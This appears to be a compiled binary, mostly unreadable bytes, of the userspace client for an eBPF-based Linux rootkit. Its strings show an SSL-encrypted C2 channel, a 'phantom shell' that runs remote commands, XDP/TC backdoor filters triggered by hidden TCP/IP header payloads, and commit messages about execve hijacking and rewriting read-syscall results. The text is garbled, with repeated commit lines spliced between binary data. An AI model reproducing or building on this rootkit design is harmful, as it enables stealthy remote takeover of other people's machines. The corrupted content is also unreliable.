|XF<00><0E>`F<00><08>xF<00>F<00> <00>F<00> <00>F<00>0<00>F<00>%<00>F<00> F<00>  F<00>00F<00>%@F<00> XF<00> pF<00>0<00>F<00>%<00>F<00> <00>F<00> <00>F<00>0<00>F<00>%<00>F<00> <00>F<00> F<00>0 F<00>%0F<00> HF<00> `F<00>0pF<00>%<00>F<00> <00>F<00> <00>F<00>0<00>F<00>%<00>F<00> <00>F<00> F<00>0F<00>% F<00> 8F<00> PF<00>0`F<00>%pF<00> <00>F<00> <00>F<00>0<00>F<00>%<00>F<00> <00>F<00> <00>F<00>0F<00>%F<00> (F<00> @F<00>0PF<00>%`F<00> xF<00> <00>F<00>0<00>F<00>%<00>F<00> <00>F<00> <00>F<00>0<00>F<00>%F<00> F<00> 0F<00>0@F<00>%PF<00> hF<00> <00>F<00>0<00>F<00>%<00>F<00> <00>F<00> <00>F<00>0<00>F<00>%<00>F<00> F<00>  FTPFIX<00>F}\<00>F<00>F<00>`<00>F<00>`<00>F <01>F! <0C> F! <0C>(F<00> <0A>hF<00> <0E><00>F<00> <1C><00>F<00> <09><00>F%
<10><00>F<00>F%
<10><00>F%
<10><00>F<00>
<11><00>F<00>
<09> F d<00> 8F<00> <00>F<00><16>(F<00>
<EFBFBD>@FHF <0F>xF; <08><00>FL
<EFBFBD><00>F<00> L<><00>FL
<EFBFBD><00>F<00> <05><00>F<00> <19><00>F<00> <1A><00>F<00> <20><00>F<00> <19> F <05>8F<00> <19>PFL
<EFBFBD>XFa <05>h<00> <00> pp<00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00> <00> p<00> <00> p<00> <00> p<00> <00> p <00> <00> p(<00> <00> p0<00> <00> p8<00> <00> p@<00> <00> pH<00> <00> pP<00> <00> pX<00> <00> p`<00> <00> ph<00> <00> pp<00> <00> px<00> <00> p<00><00> <00> p<00><00> <00> p<00><00> <00> p<00>F<00>F  Eb<00><16>b<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
d(b0b h@b<00>tXb &Q/Tl/})x/<00>%|<00>0(/Q<08>0/<00> <09>H/`<00><00>Lp/<00> <09><00>/ <09><00>/<00>/ <00><00><00><10><00>/<00>/<00> <09><00><00><00>h<00>/  <09><00>/< <09><00><00> 4/ <09>/J @/~ h/<00>/<00><00>/<00><00>/<00>3<00>/<00>8<00>/<00>+<00>/<00>D<00>/<00>H<00>/<00>=<00>/6/_0X<00><00><18>h/<00> <00>/_0<00><00><00><18><00>/<00> <00>/<00>/S#(<00>/S (<00>/S#(<00>/S (/S#(/S (/S#(/S ( /S#((/S (0/S#(8/S (@/S#(H/S (P/S#(X/S (`/S#(h/S (p/S#(x/S (<00>/S#(<00>/S (<00>/<00>LD<00>/<00>@D<00><00>$ t<00><00>i|<00>/<00>LD<00><00><00>a<><00><00>$<24><00>0<><00><10><00>T<11>8<00><00>0<><00><00><00><11><00>A8A<00>1 `A<00>$p/_0<00><00><00><18><00>/<00> <00><00><00><18><00>/<00> <00><00><00><18><00>/<00> <00><00><00><18><00>/<00> <00><00><18>/<00>  /@/`/S#(h/S (p/S#(x/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(/S (/S#(/S (/<00>LD /<00>@D(<00>$ tP<00>i|`/<00>LDh<00><00>a<><00><00>$<24><00><00>0<><00><00><10><00><00>T<11><00><00><00>0<> <00><00><11>@
A<00>
A<00>1 <00>
A<00>$<00>
/ /<00>  /<00> <0A>8 /X /S#(` /S (h /S#(p /S (<00> /S#(<00> /S (<00> /S#(<00> /S (<00> /S#(<00> /S (<00> /S#(<00> /S (<00> /S#(<00> /S (<00> /S#(<00> /S (<00> /S#(<00> /S (<00> /S#(<00> /S ( /S#( /S ( /<00>LD /<00>@D <00>$ tP <00>i|` /<00>LDh <00><00>a<><00> <00>$<24><00> <00>0<><00> <00><10><00> <00>T<11><00> <00><00>0<> <00><00><11><00>A<00>A<00>1 A<00>$(A88A;4@AS@`/<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(/S (/S#(/S (/S#( /S ((/S#(0/S (8/<00>LD@/<00>@DH<00>$ tp<00>i|<00>/<00>LD<00><00><00>a<><00><00>$<24><00><00>0<><00><00><10><00><00>T<11><00><00><00>0<>(<00><00><11>HA<00>A<00>1 <00>A<00>$<00>/<00>/S#(<00>/S (/S#(/S (/S#( /S ((/S#(0/S (8/S#(@/S (H/S#(P/S (X/S#(`/S (h/S#(p/S (x/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/<00>LD<00>/<00>@D<00><00>$ t<00><00>i|<00>/<00>LD<00><00><00>a<><00>$<24><00>0<> <00><10>(<00>T<11>P<00><00>0<><00><00><00><11><00>AhA<00>1 <00>A<00>$<00>/<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(/S (/S#(/S (/S#( /S ((/S#(0/S (8/S#(@/S (H/S#(P/S (X/S#(`/S (h/S#(p/S (x/<00>LD<00>/<00>@D<00><00>$ t<00><00>i|<00>/<00>LD<00><00><00>a<><00><00>$<24><00><00>0<><00><00><10><00><00>T<11> <00><00>0<>h<00><00><11><00>A8A<00>1 `A<00>$p/<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(<00>/S (<00>/S#(/S (/S#(/S (/S#( /S ((/S#(0/S (8/S#(@/S (H/<00>LDP/<00>@DX<00>$ t<00><00>i|<00>/<00>LD<00><00><00>a<><00><00>$<24><00><00>0<><00><00><10><00><00>T<11><00><00><00>0<>8<00><00><11>HA<00>A<00>1 <00>A<00>$<00>/!/o <0A>!/o<11>!/o<08>!/<00> <09>8!/<00><1D>@!/<00><0F>P!/<00> <09>X!/<00>_<>x!/c,<2C><00>!/<00> <0A><00>!/<00><00>!/<00>3<00>!/{<00>!/<00>!/<00>2$<00>!/2("/R2, "/{0"/<00>'<8"/<00><HX"/<00>KH`"/<00>DHp"/<00><H<00>"/GL<00>"<00><00>]<00>"<00>  <00>"<00>2<00>"<00>2 <00>"<00>E%<00>"<00>E#<00>E<#<00>E #<00>E/#<00>H#<00><00>&<26><00>#<00><00>]<00>#<00><00>&<26><00>#<00><00>#<00><00>&<26>$<00><00>]$<00><00> <09>H$<00>E/X$<00>E `$<00>  <00>$<00>2<00>$<00>2 <00>$<00>E<00>$<00>E%<00>$<00>E<00>$<00>E<00>$<00>E<<00>$<00>E <00>$<00>E/<00>$<00>E <00>$<00>  %<00>2%<00>2 %<00>E %<00>E%0
2 <09>8J"1
2 <09>@J"1R2 <09><00>J"1<00>2!<21><00>J"1<00>2<1E><00>J"13(<28><00>J"163<1E><00>J"1l3<08><00>J"1<00>3 <09><00>J"1<00>3 K"14 K<00><00>h(K"1V4 0K"1<00>4 @K"1pK/<00>4<05><00>K/95<08><00>K/P5)<29><00>K/~5-<2D><00>K<00>0<00>K/<00>5 <0C><00>K/<00>5 <0A><00>K/06 <09>L/0L/n6<1D>@L/<00>6<05>`L/<00>6<05><00>L/27<05><00>L<00><00>L<00>L/<00>7 <0A><00>L/<00>7 <0A><00>L<00><00>hM/<00>7 <0A>M/28 (M/t88M/t87HM/t8<XM/t8/`M/t8HhM/t8LxM/t8A<00>M/<00>8$<00>M/<00>8 (<00>M"139@PN"1v9D<00>N"1<00>9HO"1<00>9X0O"1L:\PO"1L:\hO"1<00>:dxO<00>:<00>:<05><00>O<00>:H; <00>O<00>:<00>;<12><00>O<00>:<00>; <0A>P<00>:<00>;<12>(P<00>:<00>; <0A>@P<00>:<00>;<12>XP<00>:<00>; <0A>pP<00>:<00>;<12><00>P<00>:<00>; <0A><00>P"1<00>;l<00>P"1<00>;l<00>P"1<00>;p<00>P/<00>P/<>LQ/< LQ/P< P(Q<00><00><18>PQ/<00>< `hQ/<00><<19><00>R"1<00><$<24><00>R"1<00>=9<><00>R"1<00>=*<2A><00>R"1<00>=<08>S"1<00>=<19><00>T/
> d<00>T/U"1L> <09>U"1<00>> <09>(U"18U/<00>> <09>&0UyU<00><00>X<00>^y^y@UyHU<00><00>X<00><00>^2<00>X<00><00>^<00><00>X<00>^<00> X<00> ^<00> X<00>8^<00>@X<00><00>^<00><00>X<00>x^<00><00>X<00>H^<00>PX<00>!^<00>8!X<00>X"^C<00>)^C*^<00>(*X<00>.^<00><00>/^<00><00>JU<00><00>JUy<00>KU<00><00>KUy<00>LUy(MX<00>@M^2`MX<00>OX<00>9OX<00>0OX<00>POX<00>pOX<00>9<00>PX<00>9<00>PX<00><00>PX<00>9* 0 P<00>X <00><00> <00><00>  <00> <00><00><00><00>O`0<00><00>R<00># <00>
<00> <00><00><00>G <00><00>
 <00>HZ<00><00><00><00>
h<00> <00>
p<00><00><00> x<00><00><00><00><00><00> <00> <00> <00> <00> !<00><00>!<00> x)<00> <00>)<00> <00>*y<00>*<00>h+<00><00>+{0,<00> <00>,<00> <00>,<00> <00>,<00>`-
X<00> <00>.<
/P <00>/5 0<00>00Ih0~ <00>0" h1<00><00>1<00>2V27 2<00>2 HAxiH3> <00>3 h4<00>
<00>4<00><00>:z<00>;)<00>;Ip< <00><<00>
@=<00>><00><00>><00>
<00>?<00> <00>?<00><00>?q<00>?&<00>?<00>@<00>
<00> @<00>
<00>@<00><00>D`hE<00>E<00> F<00><00>F G<00> <00>G<00> <00>G<00>
H<00>
<00>J<00><00>J K<00>@Ki<00> pKw
<00>K<00> Lp<00>L<00><00>Lr Mw <00>Mn
Pg@P<00>pP{<00>P<00> (Q,<00>T<00><00>T<00>U@U8(Uu 8U
P<00>0 `p<00> <00><00> <00>X<00><00><00><00> <00>  <00> @<00> <00><00><00>/<00><00><00>
<00><00>
j8 H<00>o <00> )<00>4
<00> $`<00><00> <00><00>w7y)<00><00>:<00>0<00><00>(<00> *<00> 7)<00> `+mg4
<00>&+ <00>&<00><00>&<00> _&<00><00>z<00>3/<00><00>1A<00> Y>*3<00> <00>I <00>Z <00>)<00><00>4R<00>.A <00>  1 +< <00>.E
 /Y ; >H<00>V<00>d<Vh-<00>-<00>&P Rj6' <00><00> <00><00>
<00>G<00> &<00>.&<00>T&cz<00>&<00><00>&
<00> <00>5<00> &<00>
@)<00> i<00><00>* <00> $<00>3<00>B<00>D 2Qh<00>
<00> <00>  <00> <00>(<00> p <00> P <00>0 <00> @<00>hVvhG@ <00>xU<00>`<00>0<00> <00> <00>`<00><00><00>(<00><00><00><00><00> <00><00><00>@<00>0<00><00><00><00><00> <00>P<00><00><00><00><00><00><00><00><00><00>8<00> <00>@<00>(<00>h<00><00><00><00>
<00> <00> <00>8 <00>( <00>h <00><00> <00><00><00>`<00>H<00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>h<00><00><00><00><00><00><00><00><00>8<00>p<00>X<00><00><00><00><00><00><00><00> <00>!<00>X!<00><00>"<00>P)<00><00>)<00><00>)<00><00>*<00><00>+<00><00>+<00><00>+<00><00>,<00><00>,<00>8.<00>0<00>80<00><00>0<00>2<00><00>:<00><00>;<00><<00>0<<00><00><<00>@=<00>`=<00><00>=<00> ><00>@><00>`><00><00>><00>?<00>(?<00>@<00> @<00>@@<00><00>@<00><00>@<00><00>A<00><00>D<00>E<00>hE<00><00>E<00><00>E<00>0F<00><00>F<00><00>F<00>(G<00><00>G<00><00>G<00><00>G<00><00>H<00>@J<00><00>J<00>K<00>0K<00>pK<00><00>K<00><00>K<00>@L<00>`L<00><00>L<00><00>L<00>M<00><00>M<00>O<00>xO<00><00>P<00>Q<00><00>T<00>U<00>U<00>8U<00><00><00><00><00><00><00><00><00><00><00><00><00><00>
<00>$
<00>0
<00><
<00>H
<00>T
<00>`
<00>l
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00> 
<00>,
<00>8
<00>D
<00>P
<00>\
<00>h
<00>t
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00>
<00>
<00>(
<00>4
<00>@
<00>L
<00>X
<00>d
<00>p
<00>|
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00> 
<00>
<00>$
<00><<00>,<00><<00>L<00>\<00>l<00>|<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00>0<00>@<00>P<00>`<00>p<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00>
<00>
<00>(
<00>8
<00>H
<00>X
<00>h
<00>x
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00> <00> <00>( <00>8 <00>H <00>X <00>h <00>x <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00> <00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional
2022-05-07 17:55:27 -04:00
Failed to connect, trying again. Remaining tries: %i
Is the server running, and on the correct port (%d)?
Failed to establish SSL connection, trying again. Remaining tries: %i
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
Connected with %s encryption
Server certificates:Subject: %s
Issuer: %s
Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional
2022-05-07 17:55:27 -04:00
Info: No client certificates configured.Raw server msg:
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
[%s]
Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional
2022-05-07 17:55:27 -04:00
CC_COMM_RQ##Answering:
%s
Could not parse message correctly, ignoringCC_MSG#CC_FINServer requested to stop the connectionMessage not recognizable: %s
CC_ERRSSL client closed
Updated file names and directory structure to the new multi-modules rootkit
2022-01-16 06:56:54 -05:00
Usage: %s ./kit OPTION
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter %-40s %-50s
Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional
2022-05-07 17:55:27 -04:00
-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
%H:%M:%S%s INFO pid:%d code:%i, msg:%s
Completed message passing of commands to userspace via ebpf ringbuffer
2022-05-05 13:22:47 -04:00
%s COMMAND pid:%d code:%i
Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions
2022-05-09 16:36:39 -04:00
Starting encrypted connection127.0.1.1Activating all hooks as requestedFailed to complete command: unhook allFailed to complete command: setup modulesDeactivating all hooks as requestedCommand received unknown: %d
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
Requested to update the phantom shellFailed to read the shared mapPre value: %i, %i, %i, %s
CC_PHANTOM_INITExecuting requested command:
%s
Completed the TC Hook and payload enlargment and substitution mechanisms. Only the packet recognition on the client side remains to work
2022-05-11 17:31:38 -04:00
Post value: %i, %i, %i, %s
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
Failed to parse command%s COMMAND pid:%d code:%i, msg:%s
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
ERR: %s() can't get info - %s
ERR: %s() Map key size(%d) mismatch expected size(%d)
ERR: %s() Map value size(%d) mismatch expected size(%d)
ERR: %s() Map max_entries(%d) mismatch expected size(%d)
ERR: %s() Map type(%d) mismatch expected type(%d)
Activating filter on network interface: %s
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Error on input interfaceUnknown option: %c
Missing arguments for %c
:t:vhFailed to open and load BPF skeleton
Failed to load and verify BPF skeleton
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
/sys/fs/bpf/tc/globals/backdoor_phantom_shellTC MAP ID: %i
ERR: map via FD not compatible
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
Collected stats from BPF map: - BPF map (bpf_map_type:%d) id:%d name:%s key_size:%d value_size:%d max_entries:%d
Value: %i, %i, %i
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Failed to create ring buffer
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
Filter set and readycheck_map_fd_info<00> <00><05>9}}}<00><00>(<1C>int<08>*}<06><19><06><1B><06>9<06><1A> 
Fixed keys of trigger packet V1, added sample servers, fixed client bug
2022-05-05 17:52:58 -04:00
 <00>1<08> 3<07> 6 <09> 7 <09> 8 <09> 9 <09> : <09>( ; <09>0 < <09>8 = <09>@ @ <09>H A <09>P B <09>X D<16>` F<14>h H<07>p I<07>t J <0B>x M<12><00> N<0F><00> O<08><00> Q<0F><00> Y <0A><00> [<17><00> \<19><00> ]<14><00> ^ <09><00> _
-<00> `<07><00> b<08><00> + <08> <00>9 <08> <08> <08><00>9 <08><11> <09><0E> 

$<0E>
; <0C> # <0A> 0 +<08> /key 3<07>arg 7 :<07>doc @ I<07>(
8 q<13> <08>,<00><15><15><15> <08><11>` <08> <16> <07> 
<EFBFBD> <07>  } $ }  )<07>$ , <09>( /
<EFBFBD>0 2 <09>8 6 <09>@ 9 <09>H : <09>P < <09>X 8 <0B>  <0B> <0B><11> <0B>doc <0B> <0B>_ <0B> ~( <0B>0
<EFBFBD> <08> <0B>Z <0B><16> <0B><07>  <07>
 Z<14>~<15><15> e   <08> <08> <12>tm8 > <07>
Added new hidden packets, commands and rest of structure to activate and deactivate hooks from the backdoor
2022-05-07 19:16:33 -04:00
<07> <07> <07> <07> <07> <07> <07> <07>  <0C>( 0\9'l9/|9} 
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
   <0E><12> <0E>5 <0E>  <0E> <14><14>}*Eu9X&V'Mid(M)M*M +M,M-e.M(/M,0Y01Y82M@3MD4MH6YP}2<06> @ 8E<08>szG - N P  W  \ _M c( j0
<EFBFBD>     * <12>h <12>map<12>h <12> <09> $ <12><08> <12><12><17> <12><14>    <08> <08> Hf
sz -f
 -objm
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
 <06>(
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<06>, s
0 <06>8<06><y
@ l
  / n }<06>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00

Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<1C> <15> <15><05>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
<15>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 9 @ <02> $ $  $  $  $ $ ( $ 0bss$ 8 0<02>          ( 02  <14> !<14>  "<14>  #<14>  $<14> %<14> ( ' M (<10>!<00>* <09> +<08> ,<08> -  .  / 0)$ 1)3 2 B 39D 4IQ 5 h 6Yj 7 <00> 8i<00> 9y<00>":<08>";<08>."<<08>T"=iz"><08><00>"?<08><00>"@<08><00>"A<08>"B<08>@"Cii"D<08><00>"E<08><00>"F<08><00>"G<08>"H<08>"Ie1"J A"K<08>Y"L w"M<08>y"N<08><00>"O\<00>"PL<00>"Q<08> "R<08>7"S`"T <00>"U <00>"V <00>"W<08><00>"X)<00>"Y9 "Z9;"[ H"\ V"]Id"^Y<00>"_)<00>"`9"a "b "cI+"dYg"e<08><00>"f<08><00>"g<08><00>"hi "i &"j<08>>"kyh"ly<00><00>9 99)999I9 Y9i95y9<00>9F<00>9%<00>94<00>9(<00>9)<00>9<00>92<00>9 99)9*99-I9.Y9;i93y9<00>9, <00>
<08>  <1E>obj     <04> P &<04> <00>bss)<05><00> m<05><00> <08> 2 M LF <06> } <11>  F
V9?#}<0E>V!X<08>pid<06> 
<EFBFBD>" <09>"("<12>T
<EFBFBD><00>$9<00>  &all   Nall   <0C>all    ! <0C>all" #
<10> <07> & N $<06>&<03> , . -M .M 1 I 2<0F> 5 d 6<0F> 9  :<0F> (*<10> +<15> / 3. 7I ;d <08>=@<18>A<1D>A  !<0F>{5 <19>m <19><05>
<19> <19> <19>m<0F>}9 b<08> d <09> e
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<EFBFBD> f<07> g<07> h
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<EFBFBD>y<18>%SSL<1B><17><1B><1B> <08><1C>
 <08>}Md& <0C> env"<0F> # 'env$z &M (<03><05><00><01><>)<03><0E><03><>})<03><1A><03><>}'rb<03><19><03><>}&<03><15><03><>}&<03>u<03><>~&<03>u<03><>'err<03> M<03><>}&<03>M<03><>}'opt<03><06><03><>}*<03>+keyK<06><03><>},L%<03><>} <08>(<03><05><01>2)<03><1B><02>\)<03>82<02>P-exp<03>S2<02>H&<03>M<02>`'err<03><06><02>d.H  u
H9
8/\ <0C><00><01><>-ctx\"<22><03><>~)\-<2D><03><>~)\:-<03><>}'e]<19><03><>~'tm` <0A><03><>~'tsal<03><>'retb<06><03><>~'tc <09><03><>~0<00>'key<03><07><03><>~&<03>&<03><>~'err<03><07><03><>~0<00>'p<03>
<EFBFBD><03><>~'buf<03>
<EFBFBD><03><>~0A'res<03> <0B><03><>~&<03> <0B><03><>~ <08> <08>1O <01><>-sigO<1D><02>l2A <00><01><>&B <02>P/7 <0C>N<01>F)74]<02>l)7G<02>`)7W<37><02>X3&<00><01><>-arg&$<02>X&* <0B><02>`&+ <0B><02>h(.<05><00><01>").<16><03><>~).)5<03><>~'ctx/ "<03><>&0<06><03><>~'ssl1<03><>'buf2( &3<06><03><>~&5;<03><>&6+<02>P&7A<03><>&O<06><03><>~&g<06><03><>~0<00>&s
<EFBFBD><03><>&t
<EFBFBD><03><>4<00><00>'p<02> <0A><03><>0<00>'res<02><0E><02>@&<02><0E><02>H0D&<02> <0C><03><> <08>;59<00><> } (<07><00><01><>)<1D><03><>w'fp<08><03><>w'res<08><03><>w'buf<07><03><>w<00>$9<00>/<01><01><00><01>
-obj<01>*<2A><02>X's<01><1E><02>h6err-/<01><01><01><-obj<01><1F><02>h7<01><01><01>/~<01>t<01><>)~7<><02>X'obj<01><12><02>h8err<01> <08>9qC<01>-objq"<22><02>h% : ; 9 I$ >  : ;  : ; I8  $ > 5I  I
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
&I  : ; 9  : ; 9 I8 : ; 9 <I!I/ 7I4: ; 9 I?< : ; 9 I8 'II : ;9  : ;9 I8  : ; 9 > I: ; 9 (  <0B> : ;9  : ;9 I8 &((  : ; 9 ! : ; 9 " : ; 9 I8#> I: ; 9 $!I/%: ; 9 I&4: ; 9 I'4: ; 9 I(.?: ; 9 'I@<18>B): ; 9 I*
: ;9 +4: ;9 I,4: ;9 I-: ; 9 I.4I4/.: ; 9 'I@<18>B0 1.: ; 9 '@<18>B2.: ; 9 '@<18>B3.?: ; 9 '@<18>B4 5!I/6
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
: ;9 7.: ; 9 'I@<18>B8
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
: ; 9 9.: ; 9 '@<18>B,<00>'
<00><01> .outputuser/include/utils/networkuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic./libbpf/include/uapi/linux.output/bpfuser/../commonuser/include/modules/usr/include/netinet/usr/include/openssl/usr/include/arpakit.skel.hssl_client.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hstdint-uintn.hint-ll64.hbpf.h libbpf.h
socket_type.hsockaddr.hsocket.hstruct_common.h map_common.h module_manager.h in.h netdb.hossl_typ.hssl.hnameser.h <03><05> vtY<02><03>$5<1A>/
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
uu<05>LX Mb>$ <09>Y2 K<01>2 <09><01>.$<24>/
u<10><08>
<EFBFBD> <0B> <09> <0A><11>;<3B>'t/<'t
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00
<EFBFBD><08><05><03><12><03><13><11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>f<03> <09>f<11>K <09>f<14>L <09>f<03> <09>f<11>K <09>f<14>M<12>><3E>)t1<)t <0B><08><05><03><13><03><15><13>K<15><13>L
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
2022-02-06 14:15:57 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00
<EFBFBD>J<13>L
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added new hidden payload stream mode, now triggered using the source port. Fully integrated already, can select between that and seqnum in client. Both launch live encrypted shell via v3 backdoor
2022-05-09 20:16:13 -04:00
<EFBFBD>J<13>L
